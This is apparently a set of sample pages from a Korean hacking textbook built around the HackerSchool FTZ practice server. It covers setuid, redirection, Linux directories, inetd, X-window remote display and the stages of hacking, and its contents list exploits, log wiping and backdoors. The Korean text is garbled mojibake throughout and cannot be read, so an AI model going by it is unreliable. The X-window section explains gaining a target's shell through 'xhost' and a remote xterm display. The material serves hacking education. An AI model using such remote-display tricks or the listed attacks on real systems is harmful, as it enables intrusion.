[1]-SetuidÀÇ °³³ä

[2]-¸®´ÙÀÌ·º¼Ç
[3]-µð·ºÅ丮ÀÇ ±¸Á¶
[4]-ÀÎÅÍ³Ý ¼öÆÛ¼­¹ö INET
[5]-½© ¸í·ÉÀ» ½ÇÇàÇÏ°í ½ÍÀ»¶©?
[6]-ÇØÅ·ÀÇ 5´Ü°è
[7]-Race ConditionÀ» ÀÌ¿ëÇÑ ÇØÅ· ±â¹ý
[8]-Æ÷¸Ë ½ºÆ®¸µ ¾îÅÃ(format string attack) ÇØÅ· ±â¹ý
[9]-¸ðÀÇÇØÅ·°ÔÀÓ
[10]-¸ðÀÇ ÇØÅ· °ÔÀÓ ÇØÄ¿Áî·¦ ·¹º§2 -> ·¹º§3
[11]-¸®´ª½º ÇØÅ· Åø ÃÑÁýÇÕ - Æ÷Æ®½ºÄ³³Ê
[12]-µÎ±ÙµÎ±Ù ½ÇÁ¤ ÇØÅ·
[13]-µÎ±ÙµÎ±Ù ½ÇÀü ÇØÅ· - µ¥¸óÀÇ ¹öÀü È®ÀÎ
[14]-¸®¸ðÆ® ÇØÅ· - 25¹ø Æ÷Æ®¸¦ ÀÌ¿ëÇÏ¿© °ø°ÝÇÏ´Â ¹æ¹ý
[15]-¸®¸ðÆ® ÇØÅ· - sendmail 8.9.3 ¹ö±×¸¦ ÀÌ¿ëÇÑ ÇØÅ·ÀÇ ½Ç ¿¹
[16]-¸®¸ðÆ® ÇØÅ· - cgi¸¦ ÅëÇÑ ÇØÅ·ÀÇ ½Ç ¿¹
[17]-¸®¸ðÆ® ÇØÅ· - php ÆÄÀÏ ¾÷·Îµå Ãë¾àÁ¡ÀÇ ½Ç ¿¹
[18]-·ÎÄÃ ÇØÅ·
[19]-ÇØÅ· ÈçÀûÁö¿ì±â
[20]-¹éµµ¾î »ý¼º¹ý

»ùÇÃ1 

SetuidÀÇ °³³ä

setuid´Â ¸ÖƼ À¯Á® ½Ã½ºÅÛÀÎ À¯´Ð½º/¸®´ª½º¿¡¼­¸¸ º¼ ¼ö ÀÖ´Â
µ¶Æ¯ÇÑ °³³äÀÔ´Ï´Ù.

ÀÌÇظ¦ µ½±â À§ÇØ ´ÙÀ½°ú °°Àº ¿¹¸¦ ÁغñÇÏ¿´½À´Ï´Ù.

À§ÀÇ ¿¹´Â ¿µÃ¶ÀÌ°¡ ¼ö°­ÁõÀ¸·Î ÀÎÇØ º´Ã¶ÀÇ ±ÇÇÑÀ»
´ë½ÅÇÏ´Â °ÍÀ» º¸¿©ÁÝ´Ï´Ù.
ÀÌ¿Í ºñ½ÁÇÏ°Ô ¸®´ª½º »ç¿ëÀÚµéÀº setuidÀ¸·Î ÀÎÇØ
ÀϽÃÀûÀ¸·Î ´Ù¸¥ À¯Á®ÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ°Ô µË´Ï´Ù.
±×·³ ÀÌ setuid°¡ ¸®´ª½º ½Ã½ºÅÛ¿¡ ¾î¶² ½ÄÀ¸·Î Àû¿ëµÇ´ÂÁö
Á÷Á¢ ¸®´ª½º¸¦ »ç¿ëÇϸ鼭 ÀÍÇôº¾½Ã´Ù.

¸ÕÀú À©µµ¿ìÀÇ ½ÃÀÛ ¹öÆ°À» ´©¸¥ ÈÄ - ½ÇÇà ¸Þ´º¸¦ Ŭ¸¯ ÇÕ´Ï´Ù.
âÀÌ ¶ß¸é ¿­±â¿¡ telnet ftz.hackerschool.org¸¦ ÀÔ·ÂÇÑ ÈÄ
¿£ÅÍ Å°¸¦ ´©¸¨´Ï´Ù.

 

[ À©µµ¿ì ÅÚ³Ý ÇÁ·Î±×·¥À» »ç¿ëÇÏ¿© ftz¿¡ ¿¬°áÇÏ´Â ¸ð½À ]

±×·³ ÀÌ¿Í °°Àº È­¸éÀÌ ³ªÅ¸³¯ °ÍÀÔ´Ï´Ù.
¿©·¯ºÐÀº Áö±Ý ÀÌ Ã¥À» ±¸ÀÔÇÑ µ¶ÀÚµé°ú
ÇØÄ¿½ºÄð ȨÆäÀÌÁö ÀÌ¿ëÀڵ鿡°Ô Á¦°øµÇ´Â
¸®´ª½º ¼­¹ö¿¡ Á¢¼ÓÇÑ °ÍÀÔ´Ï´Ù.

 [ ftz¿¡ Á¢¼ÓµÈ È­¸é ]
 

¹é¹®ÀÌ ºÒ¿©ÀÏ°ß, ¹é°ßÀÌ ºÒ¿©ÀÏÇà.
¾ÕÀ¸·Î ¿©·¯ºÐÀº ÀÌ·± ½ÄÀ¸·Î Ã¥°ú ½ÇÁ¦ ¸®´ª½º ¼­¹ö¸¦
¿À°¡¸é¼­ ÇØÅ·À» ÇнÀÇÏ°Ô µÉ °ÍÀÔ´Ï´Ù.
(±ÍÂúÀ¸¸é ±×³É Ã¥¸¸ º¸¾Æµµ »ó°ü¾ø½À´Ï´Ù.) 

ÀÌÁ¦ id ºÎºÐ¿¡ realhack À̶ó°í ÀÔ·ÂÇÏ°í,
password ºÎºÐ¿¡´Â youngjin À̶ó°í ÀÔ·ÂÇÕ´Ï´Ù.
Æнº¿öµå°¡ ÀԷµÇÁö ¾Ê´Â´Ù°í ´çȲÇÏÁö ¸¶¼¼¿ä!
´ÜÁö ¿©·¯ºÐ ´«¿¡ º¸ÀÌÁö¸¸ ¾ÊÀ» »ÓÀÌÁö
Æнº¿öµå´Â Á¤È®È÷ ÀԷµǰí ÀÖ´Â °ÍÀÔ´Ï´Ù.  

¼º°øÀûÀ¸·Î ·Î±×ÀεǾú´Ù¸é ´ÙÀ½°ú °°Àº
½© ÇÁ·ÒÇÁÆ®(shell prompt)¸¦ ¸¸³¯ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.

[ ¼º°øÀûÀ¸·Î ·Î±×ÀÎ µÈ È­¸é ]

ÀÚ ÀÌÁ¦ ½© ÇÁ·ÒÇÁÆ®¿¡ whoami¶ó°í ÀÔ·ÂÇغ¾½Ã´Ù.
±×·³ ´ÙÀ½°ú °°ÀÌ ÀÚ½ÅÀÇ ±ÇÇÑ¿¡ ´ëÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ½À´Ï´Ù.

[ ÀÚ½ÅÀÌ ´©±¸ÀÎÁö ¾Ë ¼ö ÀÖ´Ù. - whoami ]

±×·³ À̹ø¿£ chapter1/setuid ¶ó´Â µð·ºÅ丮·Î À̵¿Çغ¾½Ã´Ù.

[ chapter1/setuid µð·ºÅ丮·Î À̵¿ ]

ls -alÀ» ÀÔ·ÂÇÏ¸é ´ÙÀ½°ú °°Àº ¼¼ °³ÀÇ ÆÄÀÏÀ» º¼ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.

Áß°£»ý·«...

»ùÇÃ2

¸®´ÙÀÌ·º¼Ç

´ÙÀÌ·º¼Ç(direction)À̶õ "¹æÇâ"À» ¶æÇÏ°í
¸®(re)¶õ "´Ù½Ã"¸¦ ÀǹÌÇÕ´Ï´Ù.
µû¶ó¼­ ¸®´ÙÀÌ·º¼ÇÀ» Çؼ®Çϸé,
"¹æÇâÀ» Àç ÁöÁ¤ÇØ ÁØ´Ù." Á¤µµ°¡ µÉ °ÍÀÔ´Ï´Ù.
±×·³ ¾î¶² °æ¿ì¿¡ ¸®´ÙÀÌ·º¼ÇÀÌ ÇÊ¿äÇÏ°Ô µÇ´ÂÁö ¾Ë¾Æº¾½Ã´Ù.

Ãâ·Â ¸®´ÙÀÌ·º¼Ç

½© ÇÁ·ÒÇÁÆ®¿¡ ls -alÀ» ÀÔ·ÂÇØ º¾½Ã´Ù.
±×·³ ´ç¿¬È÷ ÇöÀç µð·ºÅ丮ÀÇ ÆÄÀÏ ¸ñ·ÏÀÌ È­¸éÀ¸·Î
Ãâ·ÂµÉ °ÍÀÔ´Ï´Ù. ÇÏÁö¸¸ Àú´Â ±×°ÍÀ» È­¸éÀÌ ¾Æ´Ñ
´Ù¸¥ °÷À¸·Î Ãâ·ÂµÇ°Ô ÇÏ°í ½Í½À´Ï´Ù.
ÀÌ·² ¶§ »ç¿ëÇÏ´Â °ÍÀÌ ¹Ù·Î Ãâ·Â Àç ÁöÁ¤(¸®´ÙÀÌ·º¼Ç) ÀÔ´Ï´Ù.

ÀÌ·¸°Ô ÀÔ·ÂÇϸé ls -alÀÇ °á°ú´Â È­¸éÀÌ ¾Æ´Ñ
list.txt ¶ó´Â ÆÄÀÏ·Î ÀúÀåÀÌ µË´Ï´Ù.

½ÇÁ¦ ±×·¸°Ô µÇ´ÂÁö´Â list.txtÀ» ¿­¾îº¸¸é ¾Ë°Ô µÉ °ÍÀÔ´Ï´Ù.

ÀÌ°ÍÀº lsÀÇ ¸Å´º¾óÀ» howto.txt ¶ó´Â ÆÄÀÏ·Î
¸®´ÙÀÌ·º¼Ç ÇØÁØ ¸í·ÉÀÔ´Ï´Ù.

¸®´ÙÀÌ·º¼ÇÀ» ÀÌ¿ëÇÏ¿© ÆÄÀÏ ¸¸µé±â

ÀÚ ÀÌÁ¦ °¡Àå È¿°úÀûÀ¸·Î ¸®´ÙÀÌ·º¼ÇÀ»
»ç¿ëÇÏ´Â ¹æ¹ýÀ» ¾Ë·ÁÁÖ°Ú½À´Ï´Ù.

¸ÕÀú ½© ÇÁ·ÒÇÁÆ®¿¡ cat À̶ó°í ÀÔ·ÂÇØ º¾½Ã´Ù.
À̾ ¾Æ¹« ¹®ÀÚ¿­À̳ª °è¼ÓÇؼ­ ÀÔ·ÂÇØ º¾½Ã´Ù.
±×·³ cat ¸í·É¿¡ ÀÇÇØ ÀÚ½ÅÀÇ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ÀÌ
´Ù½Ã Çѹø Ãâ·ÂµÇ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù.
ÄÁÆ®·² Å°¿Í D Å°¸¦ µ¿½Ã¿¡ ´©¸£¸é ÀÔ·ÂÀº Á¾·áµË´Ï´Ù.

[ cat ¸í·ÉÀÇ »ç¿ë - ÀÚ½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ÀÌ Ãâ·ÂµÈ´Ù. ]

ÀÌÁ¦ ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ÀÔ·ÂÇØ º¾½Ã´Ù.

ÀÚ ¶Ç ´Ù½Ã ¾Æ¹« ¹®ÀÚ¿­À̳ª ¸¶±¸ ÀÔ·ÂÇØ º¾½Ã´Ù.
ÇÏÁö¸¸ À̹ø¿£ ÀÚ½ÅÀÌ ÀÔ·ÂÇÑ °ÍÀÌ ¸Þ¾Æ¸® Ä¡Áö ¾Ê½À´Ï´Ù.
±×·¸½À´Ï´Ù. ¸®´ÙÀÌ·º¼Ç¿¡ ÀÇÇØ ¸Þ¾Æ¸® ÃľßÇÒ
¹®ÀÚ¿­µéÀÌ test.txt ¿¡ ÀúÀåÀÌ µÇ°í ÀÖ´Â °ÍÀÔ´Ï´Ù.

ÄÁÆ®·²-D Å°¸¦ ´­·¯ Á¾·áÇÑ ÈÄ test.txt ÆÄÀÏÀÇ ³»¿ëÀ»
È®ÀÎÇØ º¾½Ã´Ù.
ÀÚ½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­µéÀÌ ±×´ë·Î ÀúÀåµÇ¾î ÀÖÀ» °ÍÀÔ´Ï´Ù.

ÀÌ°ÍÀº ¹®¼­ ÆÄÀÏÀ» ÀÛ¼ºÇÒ ¶§³ª C¾ð¾îÀÇ ¼Ò½º ÆÄÀÏÀ»
ÀÛ¼ºÇÒ ¶§ À¯¿ëÇÏ°Ô »ç¿ëµÇ´Ï ²À ±â¾ïÇϱ⠹ٶø´Ï´Ù.

Áß°£ »ý·«...

»ùÇà 3 - µð·ºÅ丮ÀÇ ±¸Á¶

ÃÖ »óÀ§ µð·ºÅ丮(·çÆ®)·Î À̵¿ÇÑ ÈÄ ls -al¸¦ ÀÔ·ÂÇϸé
¸¹Àº µð·ºÅ丮µéÀ» º¼ ¼ö ÀÖ½À´Ï´Ù.
ÀÌÁ¦ ±×°ÍµéÀÌ ¾î¶² ¿ªÇÒÀ» ÇÏ´Â µð·ºÅ丮ÀÎÁö¿¡
´ëÇؼ­ ¾Ë¾Æº¾½Ã´Ù.

- bin  : ÀÌ°÷¿¡´Â °¡Àå ÇʼöÀûÀÎ
           ¸®´ª½º ½ÇÇà ÆÄÀϵéÀÌ µé¾î°¡ ÀÖ½À´Ï´Ù.

         ex) bash, ping, ls, mkdir, mv ....

- boot : ¸®´ª½º ºÎÆà °ü·Ã ÆÄÀϵé°ú, Ä¿³ÎÀ̶õ °ÍÀÌ µé¾îÀÖ½À´Ï´Ù.

Ä¿³Î - ¸®´ª½ºÀÇ ½ÉÀåºÎ ¿ªÇÒÀ» ÇÏ´Â ÆÄÀϷμ­ CPU,µð½ºÅ©,
          ÇÁ¸°Å͵îÀÇ Çϵå¿þ¾î¸¦ Á¦¾îÇÏ´Â ÀÓ¹«¸¦ ÇÕ´Ï´Ù.

- dev  : ÀÌ°÷Àº ÄÄÇ»ÅÍ¿¡ ¼³Ä¡µÈ Çϵå¿þ¾î¿¡ °üÇÑ Á¤º¸µéÀÌ ÆÄÀÏ ÇüÅ·Π           ÀúÀåµÇ¾î ÀÖ´Â °÷ÀÔ´Ï´Ù.

- etc  : ¸¹Àº Áß¿äÇÑ ÆÄÀϵéÀÌ ÀÌ°÷¿¡ µé¾î°¡ ÀÖ½À´Ï´Ù. Æнº¿öµå ÆÄÀÏ,
           ½¦µµ¿ì ÆÄÀÏ, ±× ¿Ü ´ëºÎºÐÀÇ ¸®´ª½º ¼³Á¤ ÆÄÀÏ µîµî.

- home : ÀÏ¹Ý »ç¿ëÀÚµéÀÇ µð·ºÅ丮°¡ µé¾î°¡´Â °÷ÀÔ´Ï´Ù.
              guest, mirable,realhack µîµîÀÇ °èÁ¤ÀÌ
              ¸ðµÎ ÀÌ µð·ºÅ丮 ¾È¿¡ ¼ÓÇØ ÀÖ½À´Ï´Ù.

- ~/public_html : ÀÏ¹Ý »ç¿ëÀÚµéÀÇ È¨ÆäÀÌÁö ÆÄÀÏÀÌ
                         µé¾î°¡ ÀÖ´Â °÷ÀÔ´Ï´Ù.

- lib  : ¸¹Àº ¶óÀ̺귯¸® ÆÄÀϵéÀÌ µé¾î°¡ ÀÖ½À´Ï´Ù.

¶óÀ̺귯¸®-Àç »ç¿ëÀÌ °¡´ÉÇϵµ·Ï ¹Ì¸® ÀÛ¼ºµÈ ¹Ì¸® ÄÄÆÄÀϵÈ
                ÇÔ¼öÀÇ ¸ðÀ½ÀÔ´Ï´Ù.

- mnt  : mount ¸í·ÉÀ» »ç¿ëÇÏ¿©, ¸¶¿îÆ® ½ÃŲ ½Ãµð·Ò,
           Ç÷ÎÇÇ µð½ºÄϵîÀÌ µé¾î°¡´Â µð·ºÅ丮.

¸¶¿îÆ® - ¸®´ª½º¿¡¼± µå¶óÀÌºê °³³äÀÌ ¾ø½À´Ï´Ù.
            À©µµ¿ì³ª µµ½º¿¡¼± µå¶óÀ̺긦 º¯°æÇϱâ À§ÇÏ¿©
            A:, B:, ... D: µîµîÀÇ ¸í·ÉÀ» »ç¿ëÇÏÁö¸¸,
            ¸®´ª½º¿¡¼± mount ¸í·ÉÀ» ÀÌ¿ëÇÏ¿©
            µå¶óÀÌºê ¾ÈÀÇ ÆÄÀϵéÀ» ƯÁ¤ °æ·Î·Î
            Å¾Àç(mounting) ½Ãŵ´Ï´Ù.

¿¹¸¦ µé¾î ½Ãµð·Ò ¾È¿¡ test.dat ¶ó´Â ÆÄÀÏÀÌ Çϳª
µé¾îÀÖ´Ù°í Çغ¾½Ã´Ù. ÀÌÁ¦ ¸¶¿îÆ® ¸í·É¾î¸¦ ÀÌ¿ëÇØ
cdrom ÀÇ ÆÄÀÏÀ» /mnt/cdrmo À̶õ °æ·Î·Î
žÀç½ÃÄÑ º¸°Ú½À´Ï´Ù.

[root@ftz /root]# mount /dev/cdrom /mnt/cdrom  

[root@ftz /root]# cd /mnt/cdrom

[root@ftz cdrom]# ls

test.dat   <- cdrom ¾ÈÀÇ ÆÄÀÏÀÌ /mnt/cdrom/ À¸·Î žÀçµÇ¾ú½À´Ï´Ù.

[root@ftz cdrom]#

- proc : ÇÁ·Î¼¼½ºµéÀÌ ÆÄÀÏ ÇüÅ·ΠÀúÀåµÇ´Â µð·ºÅ丮ÀÔ´Ï´Ù.

- root : ÀÏ¹Ý »ç¿ëÀÚÀÇ µð·ºÅ丮´Â /home ¾Æ·¡ Á¸ÀçÇÏÁö¸¸,
           ·çÆ®ÀÇ È¨ µð·ºÅ丮´Â µû·Î ÀÌ°÷¿¡ ÀúÀåµË´Ï´Ù.

- sbin : ±âº» ¸í·ÉÀ» Á¦¿ÜÇÑ ½Ã½ºÅÛ °ü¸®¿ë ½ÇÇà ÆÄÀϵéÀÌ
           µé¾îÀÖ´Â µð·ºÅ丮ÀÔ´Ï´Ù.

- tmp  : Àӽ÷ΠÆÄÀÏÀ» ÀúÀåÇÏ´Â µð·ºÅ丮·Î¼­, ±ÇÇÑ¿¡
           »ó°ü¾øÀÌ ´©±¸³ª ÀÌ µð·ºÅ丮¿¡ ÆÄÀÏÀ» »ý¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù.

sticky bit - ´©±¸³ª ƯÁ¤ µð·ºÅ丮¿¡ ÆÄÀÏÀ» »ý¼ºÇÒ ¼ö
                ÀÖ´Ù´Â ¸»Àº ¹Ý´ë·Î ´©±¸³ª ±× µð·ºÅ丮 ¾ÈÀÇ
                ÆÄÀÏÀ» »èÁ¦ÇÒ ¼ö ÀÖ´Ù´Â ¸»ÀÌ µË´Ï´Ù.
                ÀÌ°ÍÀ» ¹æÁöÇÏ°Ô À§ÇØ sticky bit¶ó´Â °ÍÀÌ
                ³ªÅ¸³µ´Âµ¥, ÀÌ°ÍÀ» ¼³Á¤ÇØ ³õÀ¸¸é
                ´©±¸³ª ÆÄÀÏÀ» »ý¼ºÇÒ ¼ö ´Â ÀÖÁö¸¸ Áö¿ì´Â °ÍÀº
                ±× ÆÄÀÏÀÇ »ý¼ºÀÚ¸¸ ÇÒ ¼ö ÀְԵ˴ϴÙ.

drwxrwxrwt    3 root     root         3072 Oct 16 15:58 tmp

-> /tmp µð·ºÅ丮¿£ sticky bitÀÌ °É·ÁÀÖ½À´Ï´Ù.
     (ÆÛ¹Ì¼Ç Á¤º¸ °¡Àå ¿À¸¥ÂÊÀÇ 't')

- usr  : ´Ù¾çÇÑ ÀÀ¿ë ÇÁ·Î±×·¥µéÀÌ ¼³Ä¡µÇ¾î ÀÖ´Â °÷ÀÔ´Ï´Ù.

- var  : ½Ã½ºÅÛ ¿î¿µ Áß¿¡ »ý¼ºµÇ´Â °¢Á¾ Àӽà ÆÄÀϵéÀÌ
           µé¾î°¡ ÀÖÀ¸¸ç, ¿ÜºÎ Á¢¼Ó¿¡ ´ëÇÑ ·Î±× ÆÄÀϵéÀÌ
           ¹Ù·Î ÀÌ°÷¿¡ ÀúÀåµË´Ï´Ù.

»ùÇà 4 - ÀÎÅÍ³Ý ¼öÆÛ¼­¹ö INET

³ªÀÇ ¸®´ª½º¿¡ telnet Á¢¼ÓÀ» °¡´ÉÇÏ°Ô ÇØÁÖ´Â
telnet ¼­¹ö°¡ ÀÛµ¿ÁßÀ̶ó°í Çغ¾½Ã´Ù.
±×¸®°í ¾î¶² ÀÌ°¡ ¿ÜºÎ¿¡¼­ À©µµ¿ì ÅÚ³Ý Á¢¼Ó ÇÁ·Î±×·¥À»
ÅëÇØ ³ªÀÇ ¼­¹ö¿¡ ¿äûÀ» º¸³½´Ù°í ÇսôÙ.
±×·³ telnet ¼­¹ö´Â ±× ¿äûÀ» ¹Þ°í ·Î±×ÀÎ ÀÛ¾÷À» ÇÒ °ÍÀÔ´Ï´Ù.

[ ´ë±â »óÅ¿¡ ÀÖ´Ù°¡ ¿äûÀ» ¹Þ°í ÀÛ¾÷À» ÇÏ´Â ÅÚ³Ý ¼­¹ö ]

±×·³ À̹ø¿£ ¿ÜºÎ·ÎºÎÅÍÀÇ Á¢¼ÓÀÌ ¾øÀ» ¶§¸¦ »ý°¢ÇØ º¾½Ã´Ù.

[ ¿äûÀÌ ¾ø¾î ±×³É ³î°í¸¸ ÀÖ´Â ÅÚ³Ý ¼­¹ö ]

ÀÌ¿Í °°ÀÌ telnet ¼­¹ö´Â ÇÒ ÀÏÀÌ ¾øÀ½¿¡µµ
ºÒ±¸ÇÏ°í cpu È¿À²¸¸ ³¶ºñÇÏ°Ô µÉ °ÍÀÔ´Ï´Ù.

telnet ¼­¹ö»Ó¸¸ ¾Æ´Ï¶ó, ´Ù¸¥ ¼­¹öµéµµ ÇÔ²²
ÀÛµ¿ÁßÀ̶ó¸é ´õ ½É°¢ÇØÁý´Ï´Ù.

[ ÇÒ ÀÏ ¾øÀÌ ÀÚ¿ø¸¸ ³¶ºñÇÏ´Â ¼­¹öµé ]

ÀÌ·± °ÍÀ» ¹æÁöÇÏ°Ô À§ÇØ »ý°Ü³­ °ÍÀÌ ¹Ù·Î
ÀÎÅÍ³Ý ¼öÆÛ¼­¹ö inet ÀÔ´Ï´Ù.

inet Àº ÀÏ´Ü ¸ðµç ¼­¹öµéÀ» Á¾·á½ÃÄÑ ³õÀº ÈÄ..

[ ¼­¹öµéÀ» Àç¿ì´Â inet ]

¿ÜºÎÀÇ ¿äûÀÌ ÀÖÀ» ¶§¸¸ ÇØ´ç ¼­¹ö¸¦ ±ú¿ö¼­ ½ÇÇà½Ãŵ´Ï´Ù.

[ ¿äûÀÌ µé¾î ¿ÔÀ» ¶§¸¸ ½ÇÇàµÇ´Â ftp server ]

ÀÌ·¸°Ô ÇÏ¸é ¾µµ¥¾ø´Â ÀÚ¿ø ³¶ºñ´Â ¾ø¾îÁö°Ô µÇ´Â °ÍÀÔ´Ï´Ù.

»ùÇÃ5 - ½© ¸í·ÉÀ» ½ÇÇàÇÏ°í ½ÍÀ» ¶©?

X-window ¿ª½Ã MS-windowó·³ ¸¶¿ì½º Çϳª·Î
°ÅÀÇ ¸ðµç °ÍÀ» ÇØ°á ÇÒ ¼ö ÀÖ½À´Ï´Ù.
ÇÏÁö¸¸ ¼öµ¿À¸·Î ÇÁ·Î±×·¥À» ¼³Ä¡ÇÒ ¶§³ª
°£´Ü °£´ÜÇÑ ½© ¸í·ÉµéÀ» ½ÇÇàÇÒ ¶§Ã³·³
/bin/bash¸¦ ºÒ·¯¿Í¼­ ÀÛ¾÷À» ÇؾßÇÒ ÇÊ¿ä°¡ Á¾Á¾ »ý±é´Ï´Ù.

¹Ù·Î ÀÌ·² ¶§ »ç¿ëÇÏ´Â °ÍÀÌ
X-window Àü¿ë ½©ÀÎ xterm ÀÔ´Ï´Ù.
¹ÙÅÁÈ­¸éÀÇ ¾ÆÀÌÄÜ Áß term ÀÚ°¡ µé¾î°¡´Â °ÍÀ» ã¾Æ¼­
Ŭ¸¯ ÇØ º¸¼¼¿ä. ±×·³ ´ÙÀ½°ú °°Àº Å͹̳ÎÀÌ »ý¼ºµÉ °ÍÀÔ´Ï´Ù.

[ X-window¿ë ½©ÀÎ xtermÀÇ ¸ð½À ]

xterm ¸»°í hanterm À̶õ °Íµµ Àִµ¥ ÀÌ°ÍÀº
ÇÑ±Û »ç¿ëÀÌ °¡´ÉÇÑ Å͹̳ÎÀÔ´Ï´Ù.
µû¶ó¼­ ¾ÕÀ¸·Î xterm º¸´Ü hantermÀ» »ç¿ëÇÏ´Â ÀÏÀÌ
ÈξÀ ¸¹À» °ÍÀÔ´Ï´Ù.

¿ÜºÎ·Î ÇÁ·Î±×·¥µéÀ» ½ÇÇà½Ãų ¼ö ÀÖ´Ù!

X-window °ü·Ã ÇÁ·Î±×·¥µéÀÇ Æ¯Â¡ Áß Çϳª°¡
¹Ù·Î ³» ÄÄÇ»ÅÍ°¡ ¾Æ´Ñ ´Ù¸¥ »ç¶÷ÀÇ ÄÄÇ»ÅÍ·Î
ƯÁ¤ ÇÁ·Î±×·¥À» ½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀÔ´Ï´Ù.
´Ü, ´ÙÀ½°ú °°Àº Á¶°ÇµéÀÌ ¸¸Á·µÇ¾î¾ß ÇÕ´Ï´Ù. 

- »ó´ë¹æÀÇ ÄÄÇ»ÅÍ·Î ½ÇÇàµÉ ÇÁ·Î±×·¥ÀÇ Á¶°Ç

½ÇÇà ¿É¼Ç Áß¿¡ -display ¶õ °ÍÀÌ ÀÖ¾î¾ß ÇÑ´Ù.

- ±× ÇÁ·Î±×·¥À» ¹Þ¾ÆµéÀÏ ÄÄÇ»ÅÍÀÇ Á¶°Ç

Xserver °¡ ½ÇÇà ÁßÀ̾î¾ß ÇÑ´Ù.

xhost ¸í·ÉÀ» »ç¿ëÇÏ¿© Á¢±Ù Çã¿ë ¸ñ·Ï¿¡
ÇØ´ç ip¸¦ Ãß°¡ ½ÃÄÑ¾ß ÇÑ´Ù.(¸®´ª½ºÀÏ °æ¿ì¿¡¸¸ ÇØ´ç)

(ex. xhost +211.195.119.179)

Xserver¶õ? X-windowÀÇ DISPLAY¸¦ °ü¸®ÇÏ´Â ¼­¹öÀ̸ç,
ÀÌ°ÍÀ» °¡´ÉÇÏ°Ô ÇØÁÖ´Â ÇÁ·Î±×·¥Àº
/usr/X11R6/bin/xdm ÀÔ´Ï´Ù.
( xmd - X Display Manager )

±×·±µ¥ ¿©±â¼­ ÇÑ°¡Áö Àǹ®Á¡ÀÌ »ý±é´Ï´Ù.
"±»ÀÌ ´Ù¸¥ »ç¶÷ÀÇ ÇÁ·Î±×·¥À» ³» ÄÄÇ»ÅÍ¿¡¼­
½ÇÇàÇØ¾ß ÇÒ ÀÌÀ¯°¡ ÀÖÀ»±î?"
±×·¡ ÇÁ·Î±×·¥ÀÌ ÇÊ¿äÇÏ¸é ´Ù¿î·Îµå ¹ÞÀ¸¸é µÇÁö
¿Ö ³²ÀÇ ½Å¼¼¸¦ Á®¾ß Çմϱî.

ÇÏÁö¸¸ ÇØ´ç ÇÁ·Î±×·¥ÀÌ "»ó´ë¹æÀÇ ±ÇÇÑ"À¸·Î
½ÇÇàµÈ ´Ù´Â °ÍÀ» »ý°¢Çغ»´Ù¸é ¸»ÀÌ ´Þ¶óÁý´Ï´Ù.
Áï, xtermÀ̳ª hantermÀ» ³»°¡ ¹ÞÀ» ¼ö¸¸ ÀÖ´Ù¸é
³ª´Â »ó´ë¹æÀÇ shell ±ÇÇÑÀ» ¾ò°Ô µÇ´Â °ÍÀÔ´Ï´Ù.

±×¸®°í ÀÌ°ÍÀº °èÁ¤ÀÌ ¾ø´Â »óÅ¿¡¼­ Ÿ°Ù ÄÄÇ»ÅÍÀÇ
±ÇÇÑÀ» ¾ò´Â ¸®¸ðÆ® ¾îÅÃ(Remote Attack)¿¡ ¿ä±äÇÏ°Ô »ç¿ëµË´Ï´Ù.

»ùÇÃ 6 ÇØÅ·ÀÇ 5´Ü°è

 

(1) Á¤º¸¼öÁý

ÇØÅ· ÇÏ°íÀÚ Çϴ Ÿ°ÙÀ» Á¤Çß´Ù¸é °¡Àå ¸ÕÀú ÇØ¾ß ÇÒ ÀÏÀº
±×°Í¿¡ ´ëÇÑ Á¤º¸¸¦ ¼öÁýÇÏ´Â °ÍÀÔ´Ï´Ù.
Á¤º¸°¡ ÀÚ¼¼Çϸé ÀÚ¼¼ÇÒ¼ö·Ï ÇØÅ·¿¡ ¼º°øÇÒ È®·üÀº ³ô¾ÆÁý´Ï´Ù.

ÇÊÀÚ´Â º¸Åë ´ÙÀ½°ú °°Àº ¼ø¼­·Î Ÿ°ÙÀÇ Á¤º¸¸¦ Ž»öÇÕ´Ï´Ù.

1. Æ÷Æ® ½ºÄ³´×

- Æ÷Æ® ½ºÄ³´×À̶õ ÇØ´ç IPÀÇ ÄÄÇ»ÅÍ¿¡ ¿­·ÁÀÖ´Â Æ÷Æ®µéÀ»
°Ë»öÇÏ´Â °ÍÀ» ¸»ÇÕ´Ï´Ù.
Áý¿¡ ´ë¹®ÀÌ ¿­·Á ÀÖ´Ù¸é ´Ù¸¥ »ç¶÷ÀÌ ±×°ÍÀ» ÅëÇØ
µé¾î¿Ã ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.
¸¶Âù°¡Áö·Î ÄÄÇ»ÅÍ¿¡ Æ÷Æ®°¡ ¿­·ÁÀÖ´Ù¸é ±×°ÍÀ» ÀÌ¿ëÇØ
ÇØÅ·À» ÇÏ´Â °ÍÀÌ °¡´ÉÇØÁý´Ï´Ù.

2. µ¥¸ó ÇÁ·Î±×·¥µéÀÇ Á¤º¸ È®ÀÎ

- µ¥¸óÀ̶õ °¢ ½Ã½ºÅÛ¿¡ °ü·ÃµÈ ÀÛ¾÷À» ÇÏ´Â °ÍÀ¸·Î¼­
'¼­ºñ½º'¶ó°í ÀÌÇØÇصµ ÁÁ½À´Ï´Ù.
¿¹¸¦ µé¾î ÆÄÀÏ Àü¼ÛÀ» °¡´ÉÄÉ ÇØÁÖ´Â FTP ¼­ºñ½º¸¦
Á¦°øÇÏ´Â °ÍÀº FTP µ¥¸óÀÔ´Ï´Ù.
¸¶Âù°¡Áö·Î ¿©·¯ºÐÀÌ ftz¿¡ ÅÚ³Ý Á¢¼ÓÀ» ÇÒ ¼ö ÀÖ´Â °ÍÀº
ftz¿¡ ÅÚ³Ý µ¥¸óÀÌ ÀÛµ¿ ÁßÀ̱⠶§¹®ÀÔ´Ï´Ù.

µ¥¸óÀ» Á» ´õ Á¤È®ÇÏ°Ô ¸»ÇÑ´Ù¸é ºÎÆà ½Ã ÀÚµ¿À¸·Î ½ÇÇàµÈ ÈÄ
